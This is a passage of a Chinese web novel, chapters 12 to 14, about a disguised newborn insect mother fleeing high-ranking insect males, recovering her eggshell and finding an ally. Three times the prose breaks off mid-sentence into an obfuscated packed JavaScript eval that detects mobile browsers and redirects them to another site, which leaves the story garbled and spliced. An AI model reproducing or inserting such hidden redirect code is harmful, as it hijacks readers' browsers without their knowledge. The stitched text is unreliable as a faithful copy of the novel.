索兰:“不要把你们虫族的冷血说的这么义正辞严好吧。就那句话……是条狗都相处久了都会有感情!”她见宁诺没回话,失望地拍拍灰尘: “算了,说了你也不懂。走了。” 宁诺没什么情绪地目送对方消失,看了眼天空,走向相反方向。 她一路穿过废墟,只是几条街之隔,繁闹买卖闹市纳入视野。 “你——” 一声骤然拔高的惊叫,连宁诺都觉得有些巧。 她抬眼,对上那名守卫先是错愕、打量,继而迅速转为贪婪蛮横的脸:“你的斗篷…我认得你,出逃的货物!” “快来,抓住他!”他立刻朝同伴高声呼喊。 货物二字一出,整条街上那些原本还在暗中打量这个“生面孔”的商贩,顿时脸色各异。 货物。意味着这只珍贵稀有的雄虫,弱小,平庸,没有同行。 也意味着,能卖个好价钱。 只要和虫族沾边,就从来不愁卖不出去。 宁诺醒悟,是身上这件斗篷带着“商贩”的货物标记。 于是哪怕她与先前形象判若两人,这群人明明认不出她,也敢咬定她是“货物”。 可众人脸上的贪婪才刚浮起,便见那名守卫凄厉惨叫,下一刻,整个人化作一滩恶臭酸水…骤然镇住了所有人。同一时间,其余察觉不对、想要逃走的守卫才刚抬脚,也难逃溶解。 干净地面顷刻沦为炼狱。 众人目光惊恐。 那名少年却仿佛毫无所觉,又或者,他不在意,只踏着满地血污,径直走向一旁那群守卫正准备售卖的大笼子。走动时,在众目睽睽下—— 自地面蔓延开的密密麻麻虫群,如同一层灰雾,迅速爬上笼子。眨眼间,将其腐蚀殆尽。 宁诺走到那群同样满眼惊惧、戒备望着她的“货物”面前。 “你,不要……” 她撕下斗篷一角,迅速径直上前,替被他们围护在最中央、腹部裸露渗血的伤患做了最基础的包扎。 可没用。失血太多。 那名伤患也已呈现出半昏迷的状态。 她有治疗能力。 但这一刻,她垂眸:“该现身了吧,阁下。” 艳红如火般燃烧的发丝垂落,张扬得宛如一片火海。高大的雄虫低头,嗓音磁性而玩味:“我还以为,你会连他们一起杀了。” 毕竟这对“他”而言,代表着过去的“耻辱”。 可他并没有得到任何预想中的回应。少年此时面上不见半分笑意,郑重看着他:“阁下,我需要您先为她治疗。” 绞影魔蛛能够进化出治疗能力,只是极为少见。偏偏,卡西安就在其列。 卡西安没想到,这只虫崽在得知自己根本没走,甚至没有去追那个目标,反而专门折返回来跟着“他”时,会是这样的反应。 这种,淡然、平和,请求的语气…… 最起码,该害怕他究竟看见、听到了多少。 可什么都没有。 更令他意外的是他自己。四目相接,他居然率先败下阵来,真的老实照着这家伙的话,去给一个自己根本不认识的货……家伙治疗。 宁诺松了一口气。 她正想着该怎么安置这些家伙。既然这名红发虫族这么久都没对她动手,想来也不急于这一时,多少能腾出点时间让她处理这些事。 可下一秒,耳边倏忽落下一句: “我说。” 红发虫族径直凝视着她的脸,很久,神色古怪。“你……” “你是不是没见过你的母亲?” 宁诺:“?” 12. 第 12 章 宁诺想破脑袋都没明白这句话的含义。 但她确定,这位阁下已经通过某种方式,确定索兰才是他的目标。 所以,才会问她族裔间的话题。 她于是回:“阁下,我是在暗星刚破壳时,就被塔维什阁下收留的。” 言外之意就是在你们来追鲨目标前,这颗星球连一片高等虫族的翅膀都见不着。 她这颗不知从何处流落来的虫蛋,自然不可能见过自己的母亲。 在虫族的种族叙事中,众虫天生拥有两位母亲。一位是生育之母,一位是虫母陛下。前者赋予生命,后者创造众虫。 是众虫之母。 但卡西安这句问话,显然指的是前者。 问的她雌虫。 卡西安若有所思:“原来如此。” 见她问起那群异族裔之后的去向,而大多数人都答不出个明确方向,卡西安懒洋洋道: “你这么问,还不如直接送去收容所,让那边安排。绝大多数和你一样,都是因为落单,才会被抓住。” 在暗星,所谓落单,本就意味着孤身无依,无处可去。 红发雄虫眸光流转,殷红唇角一勾,双手抱胸:“我可以帮你安置他们。” “条件是什么?”宁诺平静。 红发雄虫却只来了一句:“我看到了。” 他盯着宁诺。宁诺心头一跳,第一反应想的是他看到她对付珞因的画面。 但即便如此,她也不认为自己留下了足以构成指向性的破绽。落在旁观者视角里,“她”不过是避开一击。唯一结果只能是精神力暴乱。 任何怀疑,最终都只会指向同一解释。阶段性失忆是精神力失控常见后遗反应之一。 毕竟,在宁诺侵入后,她也意外那么轻松…精神体一团糟。 本就处于持续崩解的边缘。 虫母既能安抚,自然也能摧毁。 而这,或许正是虫族权力结构排斥“双王并立”的原因之一。 没有任何统治者,会接受自己麾下本应完全控制的族裔,仍保留被另一位同位存在介入、撼动甚至重塑的可能。 所以…宁诺神色不明:“你看到了什么?阁下?” “你的眼睛,向下瞥的方式很像陛…某个我认识的殿下。”红发虫族笑得妖冶:“我要看你的原型。” “?” 什么鬼? 但这次根本没有等宁诺回话,修长有力的长臂骤然化作冰冷锋利的长刺,猛地朝她刺来!这次就连宁诺,都想说一声疯子! 但这就是虫族!被迫显露原型是耻辱的! 打赢她!这是对族裔的尊重! 宁诺自知,并且不是很想要这种一言不合的尊重。她猛地朝街上翻滚避开,伴着一声炸响,长刺狠狠落在她方才所站的位置。 四周商贩终于反应过来,脸色大变,匆匆收摊避让。 “噗嗤——”毒液腐蚀地面,刺入的肢体白烟翻滚。 不见了啊。 卡西安唇角笑意方起,下一瞬却骤然回头,可还是慢了一步——“轰隆!!”一张蛛状大网重重砸下! 黏性强得惊人,顷刻将他牢牢定死在地面。 卡西安一眼认出这是什么族裔的能力。同属蜘蛛目,却与他截然不同。这个种族,依靠的是“消耗”。 在这群以轻捷、钢化、战斗性能见长的蜘蛛目中,唯有一支额外进化出了剧毒与极强黏性的族裔——蚀丝蛛。 它们擅长消耗,侵蚀,折磨。直到敌人精疲力竭,再从容收割。 能抓到空隙反击,确实让卡西安很意外,赞许。 可惜,终究只是个幼崽,太急,也太缺经验。 所以—— 卡西安并不急着脱身,只勾了勾手指。细细一缕丝线不知何时已缠上、没入远处,低笑:“抓住了。”他蓦地一扯—— 正试图借混乱人群脱身的少年动作一僵,身体不由自主地向后仰去。 卡西安一把捏住少年的后领,语气愉悦:“现在,愿赌服输。变回原型吧。” 可斗篷帽檐坠落的瞬间,他唇边笑意也僵住了。 ——居然是那群“货物”里的一个。 他忘了,这群人都有同一个斗篷。不对,是没想到会有“谁”会自愿当替身。 那道逐渐显露的身影发抖,低头,却没有开口求救。 腹部的布料破开一个洞,肌肤毫发无损。正是那个被他治过的货物。 卡西安面无表情。 “幻影族,幻术一族。”难怪能短暂迷惑他。 他最终没有动这些人。到底答应过另一个族裔。正欲继续追上去,耳边却忽然听见一道熟悉的音线。 银发长袍,迤逦现身。 这是一个长相无暇圣洁、犹如不可僭越明月般的雄虫。睫羽微颤,几乎令人恍惚失神。可卡西安心知肚明,这家伙和他的原型没有区别——越美丽,越致命。 霜蛾。 埃利亚斯扫过现场:“卡西安,这就是你通讯里提到的‘要事’?” 卡西安顿了下,唇角一挑:“是啊。怎么了?” “我倒不知道,你什么时候也会对救这些弱小生物生出兴趣。”埃利亚斯随意瞥了一眼那群在他目光下本能发颤的生物,很快便厌倦般收回视线: “算了。走吧。你做得不错,0132位置已经被你提交的定位器锁定。狩猎开始了。” “看来这场围剿游戏…我拿了头筹。” 卡西安,以及数名感知、锁定到那道能量体的族裔,于这一刻同时露出骇人笑意:“就让她先逃吧。” 在黎明前跌落吧。 一如前一百三十一次。 - 同一时刻。 宁诺在腐蚀虫的指引下,迅速赶往幻城之外。立于距幻城不远的沙地上时,她终于再次望见那座高山。它掩在层层高低起伏的沙丘之后,却依旧巍然矗立,那是她的目的地。 或者说,她要找的,就在它附近。 她的蛋壳。 那枚未能被她彻底吸收的蛋壳,也是她如今孱弱的根源。 她一出生,就被一群正好赶至孵化洞口歇脚的商贩发现。 为了不引来更大的麻烦,不论是拍卖,还是私用,都会暴露“它”的真实面目,她只能赌一场,引开注意,最终被抓。 在离开前,她必须销毁那唯一能够证明她存在过的东西。 毕竟是商贩的三日路程。 太远了。 凭她如今的状态,即便动用空间能力,也无法一次跨越。 宁诺思索片刻,划破掌心。鲜血坠落,她单手按地。 午后的沙漠空旷无边,唯有狂风席卷。下一瞬,地面猛地震动起来,连天地都似在摇晃,仿佛有什么庞然之物自地底苏醒,悍然破出。 浓烟卷着尘沙呼啸而起。 风沙散开的刹那,一头通体覆着漆黑鳞片的巨物猛然撞开层层沙丘,横冲而出。 宁诺纵身跃起,跳上巨型蜈蚣背脊。 “出发吧。” 巨型虫子朝空嘶吼一声,低沉犹如闷重心跳。 密密麻麻的长足扎入沙土,庞大身躯骤然前冲。 宁诺没想到,赶路的方式是直接在沙层里穿梭。 她只能死死抓住它的触角。偏偏那两根触角粗得离谱,单手根本握不住,失算了。一路上,她只能勉强攥住最前端的两根,才没被甩下去。 可那两根触角偏偏是它感知方向的器官,被她这样攥着,接下来一路颠簸失向。 总之,宁诺没死在其他虫族手中,险些先死在自己临时召来的低等虫族代步工具上。 过程曲折,但好歹到了。 宁诺忍着呕吐,生无可恋拍拍这个巨大、高逾十几层楼,此刻却还试图往她面前挤,硬要装出几分小巧的…众多小腿之一。 很抱歉,人形她只能够到这里。 她道谢:“辛苦了。” 巨型蜈蚣依依不舍地蹭蹭她,险些又把宁诺蹭翻。她扶着它的小腿,勉强站稳:“我没事,你走吧。” 又是一阵巨大沙尘扬起。 但好歹这次学聪明了。跑远后才钻进沙里,没有再波及这边。 宁诺循着蛋壳所在的方向,迈步走入洞口。洞穴极深,没了阳光,温度骤然跌了下来。 她继续往里深入,终于在大片岩石与沙砾之下,找到自己那枚碎成数片的蛋壳。心头积压许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为强大的空间能力者,可以凭借逸散残留的能量,重演那一刻的空间轨迹,镜映当初这片土地曾经的发生。 洛翠:“埃利亚斯阁下,麻烦你了。” 她请他们解析现场、找出冒犯者,可他们此来,又何尝不是同样的目的。 只是没必要说。 银发族裔不甚在意地垂下眼睫,指尖轻点半空。刹那间,一圈近乎透明、肉眼难辨的波纹自他指下漾开。 在那触碰下,四周的物品,连同整片空间的细节画面,都开始变得模糊不清。 可须臾,又再次清晰。众人像是被拖入一场幻境。一道身影自他们面前穿过,洛翠一眼认出,那正是先前向她宣誓效忠的族裔。 而就是这么平静。或者这家伙,根本不是原先的那名族裔,总之,神色都没有变的,从背后袭击了她。 再用空间能力将她转移走,若无其事地变作她的模样。 捡起那条刚从收纳盒里挑出的贝壳项链,饶有兴致地看了一眼,出门,和安努克会面。 再然后就是护卫队所说的那一幕:安努克突然袭击了“她”,紧接着逃离,而“她”也消失不见。讽刺的是,没有一个贴身护卫认出那是假货。只有安努克,但他失败了。 但已经够了,虽然不清楚安努克目前去向,但是他为她引来他的族裔。 他们救了她。 但这一次,在位众族裔却看出了不同寻常。 “那是……” “是它,珍虫。” 最“小型”的虫族。细微得几乎比尘埃还小,隐于黑暗。即便是高等雄虫,若它有意藏匿,也难以感知。 可安努克不是珍虫。 两个形态。 众族裔神色刚僵住,却忽然听到一声轻笑,来自难得一直静默的红发族裔。 他低低笑着,随后笑声愈发肆意:“我就知道。” “两个形态……自古至今的传承,除陛下之外,拥有这一特征的,”卡西安低叹:“只会是陛下的子嗣啊。” 13. 第 13 章 卡西安修长五指收拢挂链。那枚早已黯淡的艾尔晶石磨痕细微,却仍能看出一直被悉心保养。 他几乎难以自抑地呼吸加重。 那一刻,他本是追着0132而去,却不知为何鬼使神差地抬了头。也正是这一眼—— 那道身影立在那里,神色低敛,静而平和。 珞因在精神力失控前一刻,精神网链骤然爆发出剧烈波动,引来了奥瑞利安。卡西安并不意外,那家伙精神力早已在崩塌边缘徘徊,活不长了,他早猜到会有这么一日。 只是没想到这么巧,大概又是受了0132的刺激。 而他本该继续追逐,却只来得及匆匆种下定位,随后缀上那名离去的少年。 意外听见“她们”的对话。 那一瞬,他对0132的杀意攀至顶峰。她试图以虚假内容挑拨离间,混淆视听,引诱对方。但最终他还是按捺下来,继续跟上了安努克。 分明毫无相似之处。 但看到其救下那群人后,一步步踏过血迹,垂眸,冰冷忍怒的神情…记忆里的身影骤然清晰、重叠。 如此的鲜活。 最先反应过来的是埃利亚斯,冷声:“荒谬!” “陛下连王夫都没有,卡西安,你疯了!”埃利亚斯声线压得极沉,怒意却几乎要喷薄而出。 空间能力在顷刻间锁死四周空气,只等卡西安再说出一句僭越之言,便会立刻绞杀而下。 然而卡西安毫无惧色,肆意抬眼,目光对上那位此刻浑身寒意的族裔。“我有没有疯,你一清二楚,埃利亚斯。” 他看向在场的两个族裔,埃利亚斯,还有好似康复、仍旧清冷阖眼、一副事不关己伫立的珞因。 颇为讥诮地勾勾唇:“不如说,你们两个,一个潜在联姻家族,一个陛下亲卫队,俱是王虫候选。可连陛下的喜好都没能摸明白,其他贱虫都爬上床了都不知道,真是废物。” 埃利亚斯眼神森冷:“卡西安——” “所以你在嫉妒?” 一直未开口的珞因偏头。他似乎已恢复原状,只是束发丝绸不知所踪,乌发散漫垂至胸前。 他依旧清冷。那双曾被陛下夸作如溪水般清澈的瞳眸轻瞥,唇角漫不经心勾起:“我们还能是王虫候选,那时,你算什么?垃圾星里的臭虫?” 卡西安没有被激怒,哼笑:“珞因,你以为你和我有什么区别吗?” “区别?”珞因似很疑惑,随即又似恍然:“你是说,陛下赐予我的姓氏……”他徒手握住卡西安袭来的尖刺,淡淡说:“怎么,这就生气了?” 卡西安定定看他半响,“看来你也没有否认。” 珞因不置可否:“你有什么证据?” 卡西安:“我以为你当时在场是心知肚明的。” 珞因皱眉。 埃利亚斯再次开口:“简直是两个疯子!陛下不可能有子嗣!” 但他的话在这一刻显得苍白无力,他声线里压不住的颤意早已暴露了内心翻覆的波澜。 毫无说服力。这恰恰说明,他也一定感知过那种令人心悸、无法忽视的……熟悉。 难得见埃利亚斯失态。这本该让一度在他这吃瘪、不爽已久的卡西安感到痛快。可意外地,他心里像破了口洞,冷风直灌,空得厉害。 一场没有意义的争吵…或许,早在很久以前,一切就已经失去了原本的意义。 珞因:“那时候,发生了什么?” 卡西安惊异地转头看他:“你……”不记得了? 他的话未落。下一秒,空间波动被强行扭曲,埃利亚斯的空间幻境被压下、碾碎。撕裂空间而来的青年收手,西装革履,碧眸深如幽潭,不起半分波澜。 众族裔神色自然,并无意外。 他露出温和笑意:“那个孩子,是谁?” “算了,不必告诉我。我也不是很想见。”奥瑞利安含笑道,“陛下不可能有子嗣。但既然你们都如此笃定,那就一并带去研究院,检测一下吧。” “有意见吗?” 众族裔不语。 临走前,卡西安似是想起什么,朝着骤然苏醒、尚不知现状却仍强作镇定的萨尔族冕下,优雅覆手,俯身行了一礼。 埃利亚斯的能力单独隔开她。直到这一刻,整场幻境才彻底解除。 “洛翠冕下。” 卡西安颔首微笑:“很抱歉方才失礼。主要是我们之间起了争议,不想波及到您。但我得告诉您,真正救下您的不是我们,是安努克。” 洛翠:“我知道。我会向安努克道谢。” 红发虫族离去,洛翠望着空荡下来的包厢,被误作站立不稳而按在柜边的手指,一点点松开。 露出掌心的圆状物。 原貌碎不成样,碎了一地。 洛翠没有理会,喃喃自语:“……安努克。” 她是在后半程才察觉到空间正在不断循环。早在第一次栽在空间能力上之后,她就不可能再毫无防备。 这是祖母留给她、专门破解空间能力的能量物品。若非高等血脉,它原本还能再用数次。 所以那名金发族裔出现时,她听见了对话。 可怜的安努克。 他们要抓住他,研究,为什么? 她得帮他。 - “你没搞错港口是这个方向吧,系统?” 【不会有错。】脑海里机械音慵懒:【都这么久了,你不信我,还不信地图?】 “你说呢?被你坑多了,上次是哪个垃圾导航到食人鱼族臭水沟最后发现地图没更新。” 【辱骂系统,导航暂停三十秒。】 “去你大爷的,听到没,系统。”索兰:“去你大爷的。” 【不好意思,系统没有大爷。只有一个大主人。】 “那去你大主人的。” 【……】 索兰一边迅速掠过,一边警惕扫视这片看似平静的沙漠,忽然开口: “所以那只雄虫到底怎么瞒过你的?别告诉我,你是故意放他跟上来,就为了坑我这一次。” 【我觉得很有趣。】 “什么?” 【他第一次使用了相同方式逃脱,我的时间紧迫,没能察觉到。但是,这次他使用了同样的方式。我怀疑,那是他的血脉能力。】 索兰反应极快:“你是说,上次我让你去暗杀塔维什那回,你也碰见了他?”她抓住重点,“可那不是能量物品?他是剧毒型虫族。” 【是啊,只是一个雄虫幼崽,可是他有雷系、空间系能量物品。说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373238|200034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定,还不止。】 “你想表达什么?” 系统笑道:【我本想让主人您再试探试探他,结果没想到主人您……废物至此。放过了洛翠,我的空间能力痕迹要暴露的话,以后可不利于我们逃亡。】 索兰本在思索中,闻言,差点跪了:“你能想点好的吗?!” “说实话,我恨死虫族了。” 系统懒洋洋:【他们也恨死你了。】 索兰忽然站定,露出一抹血腥十足的纯真微笑:“那是他们……活该。” 她猛地跃起。 下一刻,原本站立之处火光滔天,巨大的沙坡被轰然掀碎,爆炸余波四散席卷—— 四周围上三名高等虫族。 之所以是约有三名,索兰有预感,接下来只会越来越多。毕竟她这次自损三千,损了那幼崽几百的做法。 她原先以为,那幼崽会用同样的能量物品避开那名族裔。不敢揭发她,是因为他自己也得藏一段时间。和她同行,就是嫌疑。 可经系统一提,索兰忽然想到更多。 比如,那可怖的精神力…… “轰隆——” 索兰翻身,催动这具躯体的能力。火星擦过额前碎发,映出她近乎狂热的神情。 火异能。 总之,先对付自己挖的坑! 宁诺察觉到颈侧湿意,隐约夹着哽咽。有种已经震惊过多能淡然处之的心态了。有没有可能,这只雄虫比较感性呢。 要接受每个生物的不同。 而且感性是好事。 她不动声色地咽下最后一口蛋壳,试探着轻声说:“我没事,你能先放开我吗?塔维什。” 对方听话地松了手,却还是贴得很近。虫族夜视能力极好,她能清晰看见在黑暗中,那双泛红的眼眶。 眼下那颗泪痣,也被衬得愈发嫣红。 活像被蹂躏过一回。 塔维什自己却浑然不觉。他呼吸放得很轻,连胸膛起伏都近乎没有,目光却温吞而专注,像是生怕惊着眼前这只“虫崽”。 但他难以思考,因为,一路波折至今,他整个身体里剩下的只有失而复得后的心悸。 他听到对方问:“你能告诉我,你怎么找到我的吗?” 面对那样平和、温柔的神情,塔维什无法说出任何拒绝的话语。 他解释靠的是终端定位。只是虫族本就不喜被定位,因此相关设置最多只能锁定一个大致范围。 这一点宁诺清楚。她当初特意带走终端,一是为了在短时间内收集并整合资料,二是万一暴露,还能将它丢在别处,权作一道障眼。 后来,塔维什又试着耗尽精神力,做了一次全面扫描,但是失败了。 所以…宁诺面上不显,心里却已将自己的精神网链迅速查了一遍。没有半点泄露。 这完全是巧合? 他也知道她刻意藏匿气息,没问。 但宁诺还是解释:“我遇上了那个人。和她打斗时,珞因和卡西安来了,不知道为什么,他们将我当成一伙的。我就躲起来了。” 太简略了。 宁诺寻思她或许还该再补几句,让这套说辞更可信。 却见面前的族裔又红了眼,就这么面无表情,眼泪哗啦地流了下来…… 14. 第 14 章 温热水珠顺着面颊嘀嗒滑落,洇透沙粒,晕开一片突兀的深褐。 宁诺:“?!” 不是。 塔维什显然也意识到了什么。指腹抚上脸颊,碰到那一点湿润,他一怔,缓缓垂眼。 湿意滑入唇间,在舌尖炸开。 咸涩的,温热的。 陌生得厉害,他一时竟没认出,这是来自自己身体的液体。 一丝近乎失序的恐惧骤然攫住了他,却并非因为那难以自控的失重。他说:“你别怕。” 在他的理智尚未作出反馈前,身体便已先一步响应。 很不对劲。 在场的两人都心知肚明,却又默契地谁都没有说破。之后,宁诺又问了几句细节,塔维什努力维持镇定,一问一答间,竟短暂撑住了表面的平静。 但这份平和并未维持太久。 宁诺捕捉到了异样。细微的震动自远处传来,伴随着某种尖锐声响,一点点逼近、放大。 再度躁动起来的腐蚀虫,与忽然起身的雄虫,都让她确认,那并不是错觉。 眨眼即至。 洞穴顶部被生生炸穿,天光自裂口倾泻而下。火光翻涌间,数只巨兽般的钢铁生物自高处压落。 下一瞬,修长身影已横在她身前。 火星四溅,焰光燃灼,猩红中爆开噼啪作响的幽蓝—— 女人冲来,一身利落劲装,肩背被肌肉绷出凌厉线条,那张白净而纯真的眉眼间,却透出一丝说不出的邪意。 塔维什半身虫化,蝎尾尖刺上扬,挟着狠厉风声重重砸下! 巨响骤起,横冲而来的那一击被生生拦下! 烟尘散去,冲击余波里,索兰已被逼退极远。她“啊”了一声:“再加上这种级别的高等血脉,打不起。” 虽同属高等虫族。 可也分强弱。 她审时度势,不恋战,抬手撕开一道空间裂缝。裂缝张开的瞬间,紫眸虫族瞬移逼近,冷然出手,意图当场截杀。 然而下一瞬,一只修长、冷白的手自虚空中不紧不慢地探出。 指甲修剪整齐,干净有力,竟将那道裂缝再度生生撕开! 索兰勾唇:“再见啦——” 她的声音分明隔得极远,却像贴着耳侧落下。宁诺甚至错觉般地觉得,对方正隔空看着自己。 就在那话音间,一股拉扯感骤然袭来。 那只手又出现了。 不如说,在所有赶赴现场的虫族身边,都出现了同样一只手。 宁诺反应迅速,摆脱牵制。 但她忽然意识到了什么,不动声色的,感知了一处坐标,反手撕开另一个裂缝。 就在那只手消失的刹那,她顺势没入其中。 离去前,宁诺没有看见,那名迅速挣脱束缚、赶来的紫瞳族裔,神色浮现出近乎绝望的破碎。 - 港口。 天色灰蒙。暗星本身并不具备适宜大多数生物生存的自然条件:气候恶劣,环境波动剧烈,宜居区域极少。 只有那些由高等文明建设的城池,依靠能量装置模拟日照并调节局部环境,才勉强形成可供居住的区域。 而在人工城池之外,暗星地表长期处于高热环境之中,昼夜温差极大,气候变化频繁且极端,远非寻常生物能够适应。 虫族行事一贯强横,又从不缺资源,直接买下了一整片区域充作飞船港口。 位置隐蔽,外界难以窥探。 索兰给出的位置居然是对的。 那家伙…真的很了解虫族。 “你好。” 面前交接工作的族裔身形修长,面容精致,定定看着她,开口。 他睫羽浓长,唇红齿白,完美得近乎天工造物。 可比起那份惊人的美丽,更先逼近感知的,是一种令人毛骨悚然的、脱离活气的异质感。 宁诺一路所见皆是这样一副面貌。所以此刻,她也顶着同样一张。 这就是中等虫族。 他们往往以多胞胎的形式集体出生,少则数十,多则上百。这意味着其基因近乎被百分之百复刻,容貌也如同同一模具中浇筑而出。 也正因如此,星网上时常会有生物讨论,虫族身上的非“活物”感强得近乎惊悚,像某种天然的恐怖片素材。 试想,一群披着完美皮相、毫无情感可言的杀戮兵器同时站到面前,最先袭来的,只会是惊悚。 宁诺穿梭的坐标正好位于虫族港口的一处隐蔽区域。寻常针对异族的防御检测对她不起作用,她顺利伪装成了其中一员,与前来交接的族裔打了招呼。 这一类虫族辨认同类,更多依赖精神力与信息素。于是,只需一点精神暗示沟通,便足以让对方误以为此刻正是换班时段,主动让位。 虫族义瞳妖异,核验过她的信息素后,径直离开船舱。 她成功迈进其中一个飞船。 港口内停泊着不少飞船,她选中的却是一艘小型备用飞航。这样的飞航通常长期停靠,使用频率不高,往往只在其他专属飞航无法调用时,才会被临时启用。 宁诺轻车熟路地抵达操控室。 确认过操纵界面后,她微微定下心。 几百年过去,整体操作逻辑仍旧和记忆中大致一致。少数陌生模块,稍加观察能判断出是后续增设的新功能,不妨碍上手。 是一艘她能够操纵的飞船。 宁诺暗自松了口气。 随即,毫不留恋地转身离开。 这种事不能急。 眼下的她没有暴露,仍只是一个不曾引人怀疑的普通虫崽。既然如此,就没必要冒这个险。她完全可以用更干净、更无痕的方式离开。 等索兰那边结束后,她再悄无声息地动身,才是最稳妥的选择。宁诺很清楚,既然他们现在要抓的不是她,那么此刻贸然行动,无论走没走成,都会平白增加暴露风险与局势变量。 不过,她之所以来这一趟,本就是为了给自己留一条后路。 若真走到最坏的那一步,她也并非毫无准备。 宁诺收拢思绪,转身欲走。下一瞬,她手中塔维什的终端忽然震了一下。 有人联系塔维什? 她下意识垂眼看去。屏幕上弹出的,是一个新的、无备注联系人。 【安努克。我是洛翠。】 - 宁诺收到了对方发来的一长段讯息。 信息将某个包厢的发生交代得极细,从前后经过到关键细节,清楚到足以让宁诺彻底确认,对面的人就是洛翠本人。 对方点明现场残留的空间轨迹,以及她动用能量物品后听见的族裔对话。 看到“空间轨迹”几个字,宁诺就知道不妙了。那是高等血脉解析现场残留痕迹的专属能力。 不巧,虫族高手如云,最不缺这种能力者。 她甚至不敢抱有侥幸。洛翠既然能找到她,就说明局面已经恶化到了某种程度。 这一刻,宁诺整个人都绷到了极致。她强迫自己深呼吸,想要冷静,可指尖却已几乎触上操纵键。 下一刻,她捕捉到了外面的骚乱。 宁诺下意识想先躲起来,思索片刻,还是轻巧无声地走到窗边,透过舷窗向外看去。 是—— 又是索兰! 战火翻涌,烟尘四起,中等虫族正从四面围攻。 来得太快了,还闹出这么大的动静。可按索兰原本的计划,这本该是一场秘密进行的潜入。宁诺立刻意识到,这是虫族故意设下的局,索兰从一开始就踩进了陷阱。 更重要的是,此刻绝大多数火力都还集中在索兰身上。情况不对。 如果她的身份已经暴露,那么相较于索兰身上的秘密,她显然具有更高优先级。虫族一定会立刻调动大批族裔,将搜寻重心转向她这个“新生虫母”。 宁诺垂下眼。 所以…或许局面还没有糟到那一步。至少,还没有糟到她最初以为的程度。 深深吐出一口气后,宁诺再次看向终端。对方的输入状态停留了很久,最终只发来一句: 【你现在在哪里?我来找你。】 宁诺略一思索,让对方先发来坐标。 随即,她冷静将先前那名虫族调回原岗,又将自己留在此处的痕迹仔细抹去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373239|200034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 外面越乱,反倒越适合她浑水摸鱼。 她又迅速走过几艘飞航的舱室结构图,确保自己对内部布局有数。最后,不动声色地混进了一支前去追捕的虫族队伍。 高大身影挺拔如松,步伐均匀。 他悄无声息地出现,径直朝前方走去。 白蒙蒙的天光描出这名虫族的轮廓,干净温柔。冷风掀得风衣猎猎作响,那头纯金发色却依旧锋亮,像薄光下淬出的碎金。 掩在浓密发丝下的唇角上翘,软而淡,辨不清情绪。 他与宁诺所在的队伍擦身而过。 “…稍等。” 青年看向这支队伍,整齐一致的族裔面孔。神情掠过一丝茫然,似也不明白自己为何会叫住他们。 他疲倦地偏开视线,不再理会,往前离去。 奥瑞利安伫立,与空中的人影对视。 那一刹,骚乱像是被无声掐灭。附近虫族僵立不动,在那股浓重得近乎实质的血腥杀意压迫下,匍匐颤栗。 宁诺看见索兰对上了奥瑞利安,便立刻无声脱队,寻到一处隐蔽地点,撕开空间,瞬移至洛翠发来的坐标。 少女早已等在那里,背身立于封闭的办公室内。窗帘全部拉严,室内不见一丝天光。 她神情焦灼,来回踱步,直到听见身后动静,才蓦地回头,惊喜出声:“安努克。” 宁诺探查了一遍周围。这是一处极隐秘的私人别墅,外侧数千米皆是荒漠。 附近没有旁人,只有洛翠独自一人。显然,她此刻已不敢再轻信任何人,连贴身护卫都被排除在外。 见到她,洛翠开口第一句便是:“这件事,很大程度上是我的过错。” “是我暴露了你的特殊性。”她的声音压得很低,满是几乎失控的自责,“可你当时,明明是为了救我。” 宁诺却意外接受得很快。大概是因为,她从来没有对这件事抱过任何侥幸。 何况,若真要追根究底,当初选择去找洛翠的那一刻,她就已经主动将自己置于暴露的风险之中。 “没事的,洛翠冕下。这原本就无法预料。”宁诺勾唇:“而您已经足够勇敢。至少,您第一时间把这件事告诉了我。能和我再讲一下当时空间轨迹的详细场景吗?” 希望这个范围不要暴露很大,如果这个空间轨迹,还能扩展她跟到索兰那边的对话… 洛翠一路强撑至今,神经早已绷到极限。此刻被少年平稳的声音一点点安抚下来,反而险些失态。真正身陷险境的是对方,可最后,竟还是要对方反过来安慰她。 她勉强定神,将前后经过一一说清,条理清晰。 “他们提到,要带你去研究院检查。还有我听到‘陛下’、‘子嗣’这些词。” 果然。洛翠提供的信息,让宁诺推导向了一条…不可思议的逻辑。 离谱,荒谬,却又惊人契合。 ——他们似乎,将她误认现任虫母的子嗣了。 但是语气不是很妙的感觉。 从洛翠的描述来看,那些族裔显然不相信现任虫母会有子嗣。也正因如此,他们才没有将此事上报,准备先将她送去研究院检查。 这显然行不通。且不说真到了阿克拉星,她能否避开近距离的虫母感知,单是被送进研究院接受检测,就已经等同于将自己暴露。 目前可以确认,只要他们仍旧维持这一判断,在暗星,她暂时还是安全的。 难道还是得…逃吗? 宁诺沉默思索着。 洛翠也这样看了她许久,终究还是没忍住:“安努克。让我来保护你吧。” 她看到少年偏头看她,昏暗的阴影下,漂亮的脸被碎发掩住大半,神色如常。 像是对即将到来的事毫无波澜,从容得近乎游刃有余。 甚至在听到她的话,唇角无意识地轻轻弯了一下。 